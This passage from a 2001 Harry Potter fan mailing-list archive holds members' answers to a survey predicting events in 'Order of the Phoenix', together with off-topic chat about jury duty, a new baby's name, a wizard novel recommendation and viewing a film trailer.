Meh, this is too hard! *grins* I predict the pensieve, veritaserum, 
Maruader's Map, portkeys, remembrall, floo powder, sneakoscope, and 
foe glass will be used in OotP. However, I could begin to tell you 
who would use what.

> 12.  Will there be Quiddich?  If so, who will be the Gryffindor 
> Keeper?  Gryffindor Captain?

Yes. I don't think Ron will be Keeper, I think it will be...hm, 
dunno. Maybe Dean Thomas? He likes sports. Or maybe Lavendar Brown 
has hidden sports depths...

Captain will be one of the Chasers; my money is on Angelina. Or maybe 
the Weasley twins will be Co-Captains? Nah, I don't think they're 
serious enough for it...

I think I'll cry if Harry is made Captain. It's my utter conviction 
that he would make a horrendous Captain and that he wouldn't even 
want the position.

> 13.  Will anyone else turn out to be an animagus?  Who?

Ugh. I don't *want* anyone else to be an animagus, but I do think 
Dumbledore will turn out to be a bee. If he's so powerful, it's hard 
to believe that he wouldn't be one.

Hrm, maybe Voldemort is an animagus? Now, that's a thought...

> 14.  Who is Mundungus Fletcher?

Well, one of the old crowd of course! *cheeky grin* Um, a Snidget 
breeder? 

> 15.  Will Wormtail use his silver hand in an important way?

Nah.

Prediction for OotP: I predict that Hagrid will go to recruit the 
Giants onto Dumbledore's side. In process, he will be killed in some 
way. This will enrage the Giants, causing them to side with Voldemort.

~Amber





From catlady at wicca.net  Fri Sep 21 04:20:06 2001
From: catlady at wicca.net (Catlady (Rita Prince Winston))
Date: Fri, 21 Sep 2001 04:20:06 -0000
Subject: Does Anyone Know
Message-ID: <9oef5m+ck7c@eGroups.com>

whether John got to his University okay? 




From jenP_97 at yahoo.com  Fri Sep 21 04:43:04 2001
From: jenP_97 at yahoo.com (Jennifer Piersol)
Date: Fri, 21 Sep 2001 04:43:04 -0000
Subject: Spend a day doing your civic duty, and what do you get?
Message-ID: <9oeggo+okeq@eGroups.com>

A HUGE number of posts to catch up on.


Hi, everyone.  I had jury duty today.  First time they didn't cancel 
on me, so I was pretty pumped up.  It was a pretty interesting day - 
I had expected them to excuse me when I mentioned that my sister is a 
parole officer, but they let me stay, and I got a mini-vacation from 
Stay-at-home-mom duties. ;)  Yes, only the truly desperate can call 
jury duty a vacation.  Trial started at about 10:30, ended at about 
4:30, and the jury deliberated for all of 5 minutes, so it wasn't a 
very stressful day.  Until I came home and opened Netscape...

Sheesh, it looks like I missed quite a bit today.

Anyway, I'm not sure why exactly I posted this, except maybe for 
this: the judge said after the jury was chosen (but before the others 
had been dismissed) that he'd never seen such a large turnout for 
duty before - usually, they have trouble getting 13 members approved 
- and he attributed it to the sudden overwhelming feeling of 
patriotism he's noticed in the past week.  I'd never really thought 
about it - and I honestly don't think *any* of us had thought about 
it - but I suppose deep down, we all felt that we should be "doing 
our civic duty" at a time when we need to feel connected somehow.  
(Judge's quotes)

It's my bedtime, can't catch up on any of the other posts, so I'll 
see what I can do tomorrow.

Jen (whose butt is very sore from sitting all day)




From aiz24 at hotmail.com  Fri Sep 21 05:35:09 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Fri, 21 Sep 2001 05:35:09 -0000
Subject: OotP Derby Replies
In-Reply-To: <9odmii+qun3@eGroups.com>
Message-ID: <9oejid+tele@eGroups.com>

> > > 4.  Which "beloved" character(s) will die?  Any other deaths, 
and 
> > > if so, who?  

Barb wrote:

> I thought it was supposed to be a "Harry fan."  

Oh yeah, I forgot about that.  To my mind, "a special fan of 
Harry's" (I believe that was the way Jo put it) suggests Ginny, Colin, 
or Dobby.  Dobby's the most likely.

Amy




From klaatu at primenet.com  Fri Sep 21 06:18:33 2001
From: klaatu at primenet.com (Sister Mary Lunatic)
Date: Thu, 20 Sep 2001 23:18:33 -0700
Subject: Storm Front  (wizard book recommendation)
Message-ID: <MABBJPGEHBDBAKHGIBPOKEIAEGAA.klaatu@primenet.com>

Just finished a book called "Storm Front" by Jim Butcher.  It's about a
wizard named Harry (!) Dresden, who practices his craft in Chicago by hiring
out as a private detective (look for him in the Yellow Pages under
"Wizards"... he's the only one listed).  He's a good wizard, but poor Harry
isn't a terribly successful businessman ... he's always behind on the rent
for his tiny basement apartment.  Occasionally the police call him in as a
special consultant for really weird crimes. And there are some REALLY weird
crimes being committed.

Great fun book, full of humor and wizardly action.  Harry's Saturday night
Date From Hell in Chapter 14 is especially entertaining : A concussion, an
interrupted shower, a power circle, a slinky tabloid reporter, a toad demon,
a talking skull named Bob, and a couple of magic potions.... Whew!

There's a sequel called "Fool Moon" that I'm getting ready to devour.

SML


==================================
Inside every older person
is a younger person -
wondering what the hell happened.
==================================






From dfrankiswork at netscape.net  Fri Sep 21 12:12:25 2001
From: dfrankiswork at netscape.net (dfrankiswork at netscape.net)
Date: Fri, 21 Sep 2001 12:12:25 -0000
Subject: OoP Prediction Derby 
In-Reply-To: <9odf4u+6mck@eGroups.com>
Message-ID: <9ofar9+5ltp@eGroups.com>


> 1.  What new magical place will we visit?
Malfoy's cellar

> 2.  Are any of the Dursleys wizards?  Who?
No

> 3.  Identify the next DADA teacher.
Molly Weasley

> 4.  Which "beloved" character(s) will die?  Any other deaths, and 
if so, who?
Moody, Bagman

> 5.  Of Lupin, Sirius, Krum, Fleur, Lockhart, Winky, Dobby, Moody, 
> Bagman, Madam Maxime, which characters will have roles in OoP?
All, but Krum will be off-stage - back in a later book.

> 6.  At the end of OoP, will Dumbledore be the headmaster?
Yes

> 7.  At the end of OoP, will Fudge be the Minister of Magic?
yes

> 8.  At the end of OoP, will Neville be the same forgetful boy, or 
> will he have changed in some way?
He will have changed

> 9.  At the end of OoP, will Sirius have cleared his name?
No, not publicly - Harry can't leave the Dursleys just yet.

> 10.  Will Harry and Voldemort have a confrontation?
Yes, but not face-to-face.  It will be in the wizard equivalent of 
cyberspace, to which Hagrid has the keys.

> 11.  Of the following magical things, which will a character use or 
> confront:  pensieve, veritaserum, boggart, Marauder's Map, whomping 
> willow, polyjuice potion, nifflers, portkeys, rememberall, floo 
> powder, time turner, sneakoscope, foe glass, secrecy sensor, knight 
> bus.
Nifflers, sneakoscope (when oh when will Harry realise his one is 
fine?)

> 12.  Will there be Quidditch?  If so, who will be the Gryffindor 
> Keeper?  Gryffindor Captain?
Yes; someone we haven't met; George Weasley.

> 13.  Will anyone else turn out to be an animagus?  Who?
No, but a new link from wizards to animals (eg Hooch's yellow eyes, 
Snape's battiness) will be explained more fully.

> 14.  Who is Mundungus Fletcher?
A good guy. I may say more on the main list.

> 15.  Will Wormtail use his silver hand in an important way?
Not in OoP.
> 
> Laura

David




From catherine at cator-manor.demon.co.uk  Fri Sep 21 12:57:14 2001
From: catherine at cator-manor.demon.co.uk (catherine at cator-manor.demon.co.uk)
Date: Fri, 21 Sep 2001 12:57:14 -0000
Subject: OoP Prediction Derby -- Moved to OT Chatter
In-Reply-To: <9odf4u+6mck@eGroups.com>
Message-ID: <9ofdfa+ohuo@eGroups.com>

--- In HPFGU-OTChatter at y..., justanopinion2001me at y... wrote:
> 1.  What new magical place will we visit?
 
I have no wish for anyone to end up in Azkaban.  I am hoping that it 
will be St Mungo's Hospital - not because Harry has been incarcerated 
there, but perhaps because we are to meet Neville's parents, (or 
Lockhart again?!)

> 2.  Are any of the Dursleys wizards?  Who?
A possibility that it is Petunia?  We've dabated about whether it was 
she who blew up Aunt Marge.  Perhaps she is the person who comes to 
magic late in life, as JKR has suggested some such person exists.

> 3.  Identify the next DADA teacher.
I'd quite like to see the real Mad-Eye.  I have a feeling it could be 
Mrs Figg, and am still wondering if Mrs Figg is a contempoary of 
James Potter and Co. and has aged herself up.

> 4.  Which "beloved" character(s) will die?  Any other deaths, and 
if 
> so, who?  
I don't know if it is to be a "beloved" character - more a fan of 
Harry's.  Isn't that the rumour?  If so, I refuse to believe that it 
will be Hagrid, so probably either Dobby, Colin Creevey or Fleur 
Delacour.

> 5.  Of Lupin, Sirius, Krum, Fleur, Lockhart, Winky, Dobby, Moody, 
> Bagman, Madam Maxime, which characters will have roles in OoP?

Hopefully Lupin, Sirius definitely - the rest I don't really care 
about.

> 6.  At the end of OoP, will Dumbledore be the headmaster?
Yes!  I hope so!

> 7.  At the end of OoP, will Fudge be the Minister of Magic?
Hopefully, because if JKR is following her Roman History, his 
successor will be LUCIUS Malfoy.

> 8.  At the end of OoP, will Neville be the same forgetful boy, or 
> will he have changed in some way?
He changes all the time.  I think that Lupin and Crouch-as-Moody 
helped boost his confidence in GoF.  I am still of the opinion that 
he was a victim of a over-done memory charm, so fear that his bad 
memory is irreparable.

> 9.  At the end of OoP, will Sirius have cleared his name?
I hope so!  However, if the Dementors turn to Voldemort, at least he 
won't be under the threat of the Dementor's kiss anymore (at least 
not from the MoM, anyway.)

> 10.  Will Harry and Voldemort have a confrontation?
Hopefully not.  Time for a rest on that one, I think.  I think that 
Voldemort will be regrouping after his last encounter, and unless he 
is very stupid, will not want to meet face to face with Harry for 
some time.

> 11.  Of the following magical things, which will a character use or 
> confront:  pensieve, veritaserum, boggart, Marauder's Map, whomping 
> willow, polyjuice potion, nifflers, portkeys, rememberall, floo 
> powder, time turner, sneakoscope, foe glass, secrecy sensor, knight 
> bus.

I hope Harry got (gets) his map back.  As to the rest, I like many 
others, think that Polyjuice potion has now been used so effectively, 
that I am always going to be suspicious of characters from now on.  
As for the rest, I am sure portkeys and floo powder will be used - 
everyday things, after all.  I am hoping that JKR will come up with 
new and exciting things for us - she's never failed us yet.

> 12.  Will there be Quiddich?  If so, who will be the Gryffindor 
> Keeper?  Gryffindor Captain?
Gryffindor Captain - probably the twins, jointly (taking it in turns 
perhaps) or whoever is the most senior of the girls.  Keeper.  
Everyone goes on about Ron - how about Ginny?

> 13.  Will anyone else turn out to be an animagus?  Who?
Don't know - had enough of animagi now. Unless we hear something 
about Lily.  Or Snape is a vampire-bat.

> 14.  Who is Mundungus Fletcher?
One of the "old crowd."  I like him.  He seems eccentric and rather 
decrepit (sp?).  Trying to hex Arthur, he probably has a temper - 
trying to swindle the MoM - enterprising.  I always saw him as being 
a contemporaray of Dumbledore - an old crony?  Doesn't Arthur Weasley 
refer to him as "old" Mundungus Fletcher.

> 15.  Will Wormtail use his silver hand in an important way?

I don't know, but the reference someone made to lycanthropy and 
silver are very ominous.  Revenge against Lupin for attempting to 
kill him before Harry's intervention?






From pbarhug at earthlink.net  Fri Sep 21 18:01:09 2001
From: pbarhug at earthlink.net (Pam Hugonnet)
Date: Fri, 21 Sep 2001 14:01:09 -0400
Subject: [HPFGU-OTChatter] Spend a day doing your civic duty, and what do you 
 get?
References: <9oeggo+okeq@eGroups.com>
Message-ID: <3BAB8065.B2C72805@earthlink.net>



Jennifer Piersol wrote:

> A HUGE number of posts to catch up on.
>
>
> Hi, everyone.  I had jury duty today.  First time they didn't cancel
> on me, so I was pretty pumped up.  It was a pretty interesting day -
> I had expected them to excuse me when I mentioned that my sister is a
> parole officer, but they let me stay, and I got a mini-vacation from
> Stay-at-home-mom duties. ;)  Yes, only the truly desperate can call
> jury duty a vacation.

    Nope.  The truly desperate also look forward to "Back-to-School
Night" as a break from the kids.  ;)

drpam
who will lie next year and tell her husband that "Back-to-School Night"
begins at 6pm and doesn't end until 11 pm so she can get a real night
out.


[Non-text portions of this message have been removed]




From michelleapostolides at lineone.net  Fri Sep 21 18:20:32 2001
From: michelleapostolides at lineone.net (Michelle Apostolides)
Date: Fri, 21 Sep 2001 19:20:32 +0100
Subject: Chat going on
Message-ID: <00f401c142ca$1a169880$7c317bd5@tmeltcds>

In the usual HP 1 group if anyone wants to join in .

Michelle




From pbarhug at earthlink.net  Fri Sep 21 18:37:53 2001
From: pbarhug at earthlink.net (Pam Hugonnet)
Date: Fri, 21 Sep 2001 14:37:53 -0400
Subject: [HPFGU-OTChatter] OoP Prediction Derby 
References: <9odf4u+6mck@eGroups.com>
Message-ID: <3BAB8901.C873F77F@earthlink.net>



justanopinion2001me at yahoo.com wrote:  a really terrific survey!

> 1.  What new magical place will we visit?

    I was intrigued a couple of months ago when someone posted the URL
to the British copyright site.  There are some "HP and.." titles there
that are new.  One of them was "Harry Potter and the Alchemist's
Chamber."  Remember that JKR said she had two titles for OoP?  I think
"Alchemist's Chamber" was the alternative title and that said chamber
will be the new magical place Harry visits.  I believe that we will
finally meet or learn more about Nicholas Flamel and hid relationship to
Dumbledore.

> 2.  Are any of the Dursleys wizards?  Who?

    Wouldn't it be rich if Petunis turned out to have some magical
powers?  Talk about internal conflict!

> 3.  Identify the next DADA teacher.

    Not  a clue.  But I think this one will be a very powerful witch or
wizard.

> 4.  Which "beloved" character(s) will die?  Any other deaths, and if
> so, who?

    Dobby is a goner.  Sorry to say; I really like him.  He is likely to
sacrifice his life to save Harry's.  I also think Colin Creevey may be
in danger as well.

> 5.  Of Lupin, Sirius, Krum, Fleur, Lockhart, Winky, Dobby, Moody,
> Bagman, Madam Maxime, which characters will have roles in OoP?

    I think we've seen the last of Ludo; he may be mentioned again by
other characters by way of explaining his fate.
We'll see Lupin, Sirius, Dobby and Winky (who will end up with the
Weasleys), Moody and Mme. Maxime.

> 6.  At the end of OoP, will Dumbledore be the headmaster?

  Yes.

> 7.  At the end of OoP, will Fudge be the Minister of Magic?

        For now.  By the end of the series Arthur Weasley will be the
Minister of Magic.

> 8.  At the end of OoP, will Neville be the same forgetful boy, or
> will he have changed in some way?

    Neville has come a long way.  I believe he will finally get to tell
his story in OoP.

> 9.  At the end of OoP, will Sirius have cleared his name?

    I think so.

> 10.  Will Harry and Voldemort have a confrontation?

    Probably not.  I think that this time the scenario will more likely
be "Harry Potter and the Minions of Evil."

> 11.  Of the following magical things, which will a character use or
> confront:  pensieve, veritaserum, boggart, Marauder's Map, whomping
> willow, polyjuice potion, nifflers, portkeys, rememberall, floo
> powder, time turner, sneakoscope, foe glass, secrecy sensor, knight
> bus.

    Just so long as we DON'T see polyjuice potion, I don't really mind
what else turns up.

> 12.  Will there be Quiddich?  If so, who will be the Gryffindor
> Keeper?  Gryffindor Captain?

    Yes.  And one of the girls will be Captain.  (Was Angelina in her
7th year?) Either Angelina or Katie. No.  Scratch that.  The Weasley
Twins will be co-captains.  Ron will finally join the team as will
Seamus Finnegan.

> 13.  Will anyone else turn out to be an animagus?  Who?

    Dumbledore is likely already an animagus.  I believe that Godric
Gryffindor was one as well and lives on the guise of Fawkes.

> 14.  Who is Mundungus Fletcher?

    An eccentric but powerful wizard of McGonagall's generation who is a
lynchpin player in the fight against evil.

> 15.  Will Wormtail use his silver hand in an important way?
>

    Wormtail's silver hand will play a key role in his rescuing Harry
from Voldemort or his henchmen and thereby helping to defeat the forces
of evil.  But it won't happen in Book 5.

drpam


[Non-text portions of this message have been removed]




From hamster8 at hotmail.com  Fri Sep 21 19:23:53 2001
From: hamster8 at hotmail.com (hamster8 at hotmail.com)
Date: Fri, 21 Sep 2001 19:23:53 -0000
Subject: New baby!
Message-ID: <9og449+62m3@eGroups.com>

Just a quick note to let you all know that my Aunt finally had her 
baby this morning, just past midnight, UK time.  They're doing very 
well - it's a boy, and he's currently 7lb 3oz, although nameless ... 
and guess which name I'm rooting for *vbg*

Al




From heidit at netbox.com  Fri Sep 21 19:20:06 2001
From: heidit at netbox.com (Tandy, Heidi)
Date: Fri, 21 Sep 2001 15:20:06 -0400
Subject: [HPFGU-OTChatter] New baby!
Message-ID: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2D32@MIAEXCH1>

well, given that said baby shares Tom Felton's birthday, there's only one
name that makes any sense. Congrats, Al!

-----Original Message-----
From: hamster8 at hotmail.com [mailto:hamster8 at hotmail.com]
Sent: Friday, September 21, 2001 3:24 PM
To: HPFGU-OTChatter at yahoogroups.com
Subject: [HPFGU-OTChatter] New baby!


Real-To: hamster8 at hotmail.com Just a quick note to let you all know that my
Aunt finally had her 
baby this morning, just past midnight, UK time.  They're doing very 
well - it's a boy, and he's currently 7lb 3oz, although nameless ... 
and guess which name I'm rooting for *vbg*





From blpurdom at yahoo.com  Fri Sep 21 20:00:02 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Fri, 21 Sep 2001 20:00:02 -0000
Subject: New baby!
In-Reply-To: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2D32@MIAEXCH1>
Message-ID: <9og682+v0mc@eGroups.com>

--- In HPFGU-OTChatter at y..., "Tandy, Heidi" <heidit at n...> wrote:
> well, given that said baby shares Tom Felton's birthday, there's 
only one
> name that makes any sense. Congrats, Al!
> 
> 
> Real-To: hamster8 at h... Just a quick note to let you all know that my
> Aunt finally had her 
> baby this morning, just past midnight, UK time.  They're doing very 
> well - it's a boy, and he's currently 7lb 3oz, although 
nameless ... 
> and guess which name I'm rooting for *vbg*

LOL!  When I first read your post, Al, I thought you meant the 
name "Harry."  Then I saw that Heidi had also posted, and since her 
little one is Harry, I thought she had the same idea, but I see now 
that you both are thinking of "Draco."  I wonder whether schools 
around the world are soon going to be filled with little Harrys, 
Dracos and Hermiones...

--Barb





From simon at hp.inbox.as  Fri Sep 21 21:55:27 2001
From: simon at hp.inbox.as (Simon Branford)
Date: Fri, 21 Sep 2001 21:55:27 -0000
Subject: New baby!
In-Reply-To: <9og682+v0mc@eGroups.com>
Message-ID: <9ogd0f+qteu@eGroups.com>

--- In HPFGU-OTChatter at y..., blpurdom at y... wrote:
> --- In HPFGU-OTChatter at y..., "Tandy, Heidi" <heidit at n...> wrote:
> > well, given that said baby shares Tom Felton's birthday, there's 
> only one
> > name that makes any sense. Congrats, Al!
> > 
> > 
> > Real-To: hamster8 at h... Just a quick note to let you all know that 
my
> > Aunt finally had her 
> > baby this morning, just past midnight, UK time.  They're doing 
very 
> > well - it's a boy, and he's currently 7lb 3oz, although 
> nameless ... 
> > and guess which name I'm rooting for *vbg*
> 
> LOL!  When I first read your post, Al, I thought you meant the 
> name "Harry."  Then I saw that Heidi had also posted, and since her 
> little one is Harry, I thought she had the same idea, but I see now 
> that you both are thinking of "Draco."  I wonder whether schools 
> around the world are soon going to be filled with little Harrys, 
> Dracos and Hermiones...

Well Harry is a fairly common baby name already.


I read Al's post and it was obvious to me that he is rooting for 
Pigwidgeon - I just cannot understand how Heidi got confused ;)


Simon




From catlady at wicca.net  Fri Sep 21 22:00:00 2001
From: catlady at wicca.net (Catlady (Rita Prince Winston))
Date: Fri, 21 Sep 2001 22:00:00 -0000
Subject: More Topics And Re: New baby!
In-Reply-To: <9ogd0f+qteu@eGroups.com>
Message-ID: <9ogd90+91mv@eGroups.com>

--- In HPFGU-OTChatter at y..., "Simon Branford" <simon at h...> wrote:

> I read Al's post and it was obvious to me that he is rooting for 
> Pigwidgeon - I just cannot understand how Heidi got confused ;)

LOL, Simon.

As long as I'm posting:

Is there any consensus as to what Neville Longbottom's mother's name 
is?

Is there a patron saint of wizardry? 




From CollectiveSIAS at aol.com  Sat Sep 22 03:48:39 2001
From: CollectiveSIAS at aol.com (CollectiveSIAS at aol.com)
Date: Fri, 21 Sep 2001 23:48:39 EDT
Subject: intro
Message-ID: <115.4fd46f9.28dd6417@aol.com>

HI 
Boy do I hate writing these intros  :)  
I remember sitting in school and thinking this should get easier!  Well, at 
least you guys are not going to give me a grade!  At least, I hope you 
aren't!  I belong to the main list and find it very stimulating conversation 
although being a newbie I have been lurking :) .  With the suggestions of a 
poster advising a poster to try out OT chatter I thought I would also.  
And.... Here I am  :)   

Jenna (trying not to lurk in corners)


[Non-text portions of this message have been removed]




From dfrankiswork at netscape.net  Sat Sep 22 16:05:22 2001
From: dfrankiswork at netscape.net (dfrankiswork at netscape.net)
Date: Sat, 22 Sep 2001 16:05:22 -0000
Subject: Those damn anonymous polls...
Message-ID: <9oics2+9vqd@eGroups.com>

As 33% of the declared anarchists on this list, I would love to know 
who the other 67% are...

Obviously, we can't form a party, as that would not be very anarchic, 
but perhaps we could *have* a party.

BTW, if I delete my cookies, can I vote lots of times?

David, who would have voted for the Apathy Party if they'd bothered 
to stand...




From jonathandupont at hotmail.com  Sat Sep 22 18:28:01 2001
From: jonathandupont at hotmail.com (jonathandupont at hotmail.com)
Date: Sat, 22 Sep 2001 18:28:01 -0000
Subject: OoP Prediction Derby
In-Reply-To: <3BAB8901.C873F77F@earthlink.net>
Message-ID: <9oil7h+l14u@eGroups.com>


> 
> > 1.  What new magical place will we visit?

Godfrey's Hollow.

> > 2.  Are any of the Dursleys wizards?  Who?

No - just Harry.
> > 3.  Identify the next DADA teacher.
> 
Real Moody.

> > 4.  Which "beloved" character(s) will die?  Any other deaths, and 
if
> > so, who?
> 

Ginny

> > 5.  Of Lupin, Sirius, Krum, Fleur, Lockhart, Winky, Dobby, Moody,
> > Bagman, Madam Maxime, which characters will have roles in OoP?

Lupin, Sirius, Fleur, Moody, Maxime
> > 6.  At the end of OoP, will Dumbledore be the headmaster?
> 
No.
> 
> > 7.  At the end of OoP, will Fudge be the Minister of Magic?
> 
Hopefully - I like him.

> > 8.  At the end of OoP, will Neville be the same forgetful boy, or
> > will he have changed in some way?
> 

Well... he and Ginny kind of are connected in my mind for some 
reason, and seeing as she's supposed to play a bigger part in OOP ... 
I don't know - probably.

> > 9.  At the end of OoP, will Sirius have cleared his name?
> 
Nah.

> > 10.  Will Harry and Voldemort have a confrontation?
> 

No. At least I hope not - its normally more interesting when they 
don't.

> > 11.  Of the following magical things, which will a character use 
or
> > confront:  pensieve, veritaserum, boggart, Marauder's Map, 
whomping
> > willow, polyjuice potion, nifflers, portkeys, rememberall, floo
> > powder, time turner, sneakoscope, foe glass, secrecy sensor, 
knight
> > bus.

The map, portkeys, foo powder and sneakoscope.
 
> > 12.  Will there be Quiddich?  If so, who will be the Gryffindor
> > Keeper?  Gryffindor Captain?

Yes - not sure about others. 
> 
> > 13.  Will anyone else turn out to be an animagus?  Who?

No. 

> > 14.  Who is Mundungus Fletcher?

One of the old crowd... alright, alright, I have no idea.

> > 15.  Will Wormtail use his silver hand in an important way?

No.




From Aberforths_Goat at Yahoo.com  Sat Sep 22 18:35:36 2001
From: Aberforths_Goat at Yahoo.com (Aberforth's Goat)
Date: Sat, 22 Sep 2001 20:35:36 +0200
Subject: [HPFGU-OTChatter] New baby!
References: <9og449+62m3@eGroups.com>
Message-ID: <003001c14395$5f21c000$e500a8c0@shasta>

Al sent

> [j]ust a quick note

about the wizard as yet to be named, and invited us to

> guess which name I'm rooting for *vbg*

Obviously, Aberforth. It shortens to "Abe," which rhymes with Babe. It's
forth-right in its very essence, yet maintains realism by beginning with
"aber," the German word for "but" -  all without being a pain in it. What's
more: Jiggle the letters on a warm day and you've got "bear froth," which
is, by all accounts, a highly desirable substance in the British isles.

In short, the name everybody ought to have.

Baaaaaa!

Aberforth's Goat (a.k.a. Mike Gray)
_______________________

"Of course, I'm not entirely sure he can read, so that may not have been
bravery...."




From catlady at wicca.net  Sat Sep 22 20:54:48 2001
From: catlady at wicca.net (Catlady (Rita Prince Winston))
Date: Sat, 22 Sep 2001 20:54:48 -0000
Subject: New baby Aberforth
In-Reply-To: <003001c14395$5f21c000$e500a8c0@shasta>
Message-ID: <9oitqo+9qmm@eGroups.com>

--- In HPFGU-OTChatter at y..., "Aberforth's Goat" <Aberforths_Goat at Y...> 
wrote:

> Obviously, Aberforth. It shortens to "Abe," which rhymes with Babe. 

I thought Aberforth began with a short A, therefore shortens to 
Ab, which rhymes with Fab.

> more: Jiggle the letters on a warm day and you've got "bear froth," 

A euphemism for Bear Whizz Beer, as invented by Firesign 
Theater?




From macloudt at yahoo.co.uk  Sat Sep 22 21:03:26 2001
From: macloudt at yahoo.co.uk (macloudt at yahoo.co.uk)
Date: Sat, 22 Sep 2001 21:03:26 -0000
Subject: OoP Prediction Derby -- Moved to OT Chatter
In-Reply-To: <9odf4u+6mck@eGroups.com>
Message-ID: <9oiuau+64ju@eGroups.com>

> 1.  What new magical place will we visit?
St. Mungo's, I think, perhaps with Neville

> 2.  Are any of the Dursleys wizards?  Who?
I wouldn't think so, as Petunia is still jealous of Lily after many 
years.

> 3.  Identify the next DADA teacher.
Arabella Fig, please!

> 4.  Which "beloved" character(s) will die?  Any other deaths, and 
if 
> so, who?
Aak, hopefully no one...but realistically, I think Lupin (sob)
  
> 5.  Of Lupin, Sirius, Krum, Fleur, Lockhart, Winky, Dobby, Moody, 
> Bagman, Madam Maxime, which characters will have roles in OoP?
Lupin, Sirius, Dobby, Moody, Bagman

> 6.  At the end of OoP, will Dumbledore be the headmaster?
Hmm, I hope so.

> 7.  At the end of OoP, will Fudge be the Minister of Magic?
No.

> 8.  At the end of OoP, will Neville be the same forgetful boy, or 
> will he have changed in some way?
Neville will always be Neville, but he'll do some growing up and gain 
some confidence.

> 9.  At the end of OoP, will Sirius have cleared his name?
No, not 'til book 7.

> 10.  Will Harry and Voldemort have a confrontation?
After GoF, a face-to-face one would be too much.  Call in the 
underlings!

> 11.  Of the following magical things, which will a character use or 
> confront:  pensieve, veritaserum, boggart, Marauder's Map, whomping 
> willow, polyjuice potion, nifflers, portkeys, rememberall, floo 
> powder, time turner, sneakoscope, foe glass, secrecy sensor, knight 
> bus.
Marauder's Map, portkeys, floo powder, sneakoscope, foe glass, knight 
bus.
> 12.  Will there be Quiddich?  If so, who will be the Gryffindor 
> Keeper?  Gryffindor Captain?
GO TEAM!!  Definately...with Ron as Keeper and Angelina as Captain

> 13.  Will anyone else turn out to be an animagus?  Who?
No more non-listed ones please...but perhaps new animagi-in-
training...either Harry or Hermione...or both...

> 14.  Who is Mundungus Fletcher?
A contemporary of Sirius et al.  Can't make up my mind if he's friend 
or foe, though.

> 15.  Will Wormtail use his silver hand in an important way?
Seeing as it's silver, it must involve Lupin in some sinister way.

Thanks for this Laura!  Chances are I'm hopelessly wrong, but it's a 
fun way to kill time 'til OoP is *finally* out.

Mary Ann
(who probably gave stupid answers as she's high as a kite on 'flu 
medication...)




From maginker at yahoo.com  Sat Sep 22 22:07:28 2001
From: maginker at yahoo.com (maginker at yahoo.com)
Date: Sat, 22 Sep 2001 22:07:28 -0000
Subject: OotP Derby Replies
In-Reply-To: <9oejid+tele@eGroups.com>
Message-ID: <9oj230+f4nj@eGroups.com>

--- In HPFGU-OTChatter at y..., "Amy Z" <aiz24 at h...> wrote:
> Oh yeah, I forgot about that.  To my mind, "a special fan of 
> Harry's" (I believe that was the way Jo put it) suggests Ginny, 
Colin, 
> or Dobby.  Dobby's the most likely.
> 
> Amy



I don't know where JK said this, but if "a special fan of Harry's", 
were her exact words, then maybe she was being sarcastic.  And so 
maybe it could be Snape.  Because we all know that he is a "fan of 
Harry's."


Bryce




From editor at texas.net  Sat Sep 22 23:55:33 2001
From: editor at texas.net (Amanda Lewanski)
Date: Sat, 22 Sep 2001 18:55:33 -0500
Subject: [HPFGU-OTChatter] New baby!
References: <9og449+62m3@eGroups.com> <003001c14395$5f21c000$e500a8c0@shasta>
Message-ID: <3BAD24F5.3B41C660@texas.net>

Aberforth's Goat wrote:

> Obviously, Aberforth. It shortens to "Abe," which rhymes with Babe.
> It's forth-right in its very essence, yet maintains realism by
> beginning with "aber," the German word for "but" -  all without being
> a pain in it. What's more: Jiggle the letters on a warm day and you've
> got "bear froth," which is, by all accounts, a highly desirable
> substance in the British isles.

:::Amanda walks slowly towards the goat, speaking gently, until she can
grab one of his horns. She guides him in out of the hot sun, which he's
clearly had way, way too much of, and out of the patch of mildly
stimulating plants he was nibbling, and leads him into the nice, cool
barn for a little nap.:::

--Amanda


[Non-text portions of this message have been removed]




From aiz24 at hotmail.com  Sun Sep 23 01:41:54 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Sun, 23 Sep 2001 01:41:54 -0000
Subject: if you wish to be wished a Happy Birthday...
Message-ID: <9ojel2+pkct@eGroups.com>

If you would like the Birthday Elves to make =you= a cake with pink 
frosting and candles when your day arrives,* the thing to do is go to 
 
http://groups.yahoo.com/group/HPforGrownups/database

and add your birthday by clicking on Add Record.

I noticed recently that some people have put their birthdays on the 
Calendar.  Your neighborhood Birthday Elf, whose grip on sanity is 
already tenuous, can only handle checking one section, so the Database 
is it--make sure your birthday is there as well.

Amy Z


*S.P.E.W. supporters may elect to be sent balloons by owl instead**

**Members of the Owl Liberation Front (sorry, someone else will have 
to generate a clever acronym) may elect to have a donation made in 
their name to the Errol Overdue Retirement Fund instead





From aiz24 at hotmail.com  Sun Sep 23 01:42:51 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Sun, 23 Sep 2001 01:42:51 -0000
Subject: Accessing Trailer #3
Message-ID: <9ojemr+ulmh@eGroups.com>

I just get a blank black screen (though it claims to be playing) when 
I go to the Channel One site.  I have RealPlayer, so I don't know what 
the problem is.  Does anyone know of another way to see the trailer?  
Is it showing on any networks?

Some stills, BTW, are at www.the-leaky-cauldron.org.

Amy




From heidit at netbox.com  Sun Sep 23 02:08:41 2001
From: heidit at netbox.com (Tandy, Heidi)
Date: Sat, 22 Sep 2001 22:08:41 -0400
Subject: [HPFGU-OTChatter] if you wish to be wished a Happy Birthday..
	.
Message-ID: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2D4C@MIAEXCH1>

Hey, amy, why didn't Tom Felton get a birthday greeting today?
FictionAlley had a nice little party, featuring saitaina, phatgirl, al,
cassie, rita, me, gwen and a number of other writers...



From keegan at mcn.org  Sun Sep 23 02:16:03 2001
From: keegan at mcn.org (Catherine Keegan)
Date: Sat, 22 Sep 2001 19:16:03 -0700
Subject: [HPFGU-OTChatter] Accessing Trailer #3
In-Reply-To: <9ojemr+ulmh@eGroups.com>
Message-ID: <4.2.0.58.20010922191418.00a01a00@mail.mcn.org>

At 01:42 AM 9/23/01 +0000, you wrote:
>I just get a blank black screen (though it claims to be playing) when
>I go to the Channel One site.  I have RealPlayer, so I don't know what
>the problem is.  Does anyone know of another way to see the trailer?
>Is it showing on any networks?

I had to download a bunch of add-ons for RealPlayer 7.  You might need an 
upgrade, too.  But there really isn't that much to see.  You get a very 
